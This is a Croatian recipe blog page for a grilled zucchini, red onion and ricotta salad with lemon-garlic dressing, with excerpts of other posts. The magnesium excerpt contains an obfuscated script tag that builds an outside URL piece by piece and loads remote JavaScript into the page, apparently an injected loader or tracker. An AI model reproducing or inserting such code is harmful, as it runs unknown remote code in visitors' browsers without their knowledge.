SALATA OD GRILANIH TIKVICA I RICOTTE 🥗




Salata od grilanih tikvica i ricotte 




Kada stignu ljetni mjeseci, a s njima i tikvice koje obožavamo, vrijeme je za recepte koji slave njihove najbolje okuse. Ova salata od grilanih tikvica s ricottom i limunom spaja lagano dimljene note povrća s roštilja, kremastu ricottu, svježinu limuna i aromatični bosiljak.





Salata od grilanih tikvica i ricotte 


Sastojci:

Za salatu

  • 2 srednje tikvice, narezane na ploške debljine 0,5 cm
  • 1 veliki crveni luk, narezan na ploške debljine 0,5 cm 1 žlica maslinova ulja
  • 1 žlica maslinova ulja
  • sol
  • svježe mljeveni crni papar
  • 250 g ricotte
  • 1 čajna žličica naribane korice limuna
  • 10 g svježih listova bosiljka, grubo natrganih

Za preljev

  • 2 žlice ekstra djevičanskog maslinova ulja
  • 15 ml svježe iscijeđenog limunova soka
  • 1 mali češanj češnjaka, sitno nasjeckan ili nariban
  • sol
  • svježe mljeveni crni papar



Priprema:

  1. Tikvice i luk stavite u odvojene zdjele. Dodajte maslinovo ulje te ih začinite solju i paprom. Lagano promiješajte kako bi se povrće ravnomjerno obložilo uljem i začinima.
  2. U trećoj zdjeli pomiješajte ricottu s naribanom koricom limuna te malo soli i papra. Ako koristite ricottu grublje teksture, kratko je izmiksajte štapnim mikserom ili u multipraktiku kako bi postala posebno kremasta.
  3. U manjoj zdjelici pjenjačom umutite maslinovo ulje, limunov sok, češnjak, sol i papar dok ne dobijete lagano emulgiran preljev.
  4. Zagrijte roštilj na jaču temperaturu. Tikvice pecite oko 5 minuta uz povremeno okretanje. Dodajte kapulu i nastavite peći još 10 minuta, odnosno dok povrće ne omekša i dobije lijepe tamne tragove od roštilja. Vrijeme pečenja može varirati ovisno o vrsti i jačini roštilja.
  5. Grilane tikvice i luk rasporedite na veliki pladanj za posluživanje. Žlicom rasporedite hrpice ricotte između povrća. Prelijte pripremljenim preljevom, a zatim pospite natrganim listovima svježeg bosiljka.
  6. Poslužite odmah, dok je još toplo, ili ostavite da se ohladi na sobnu temperaturu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više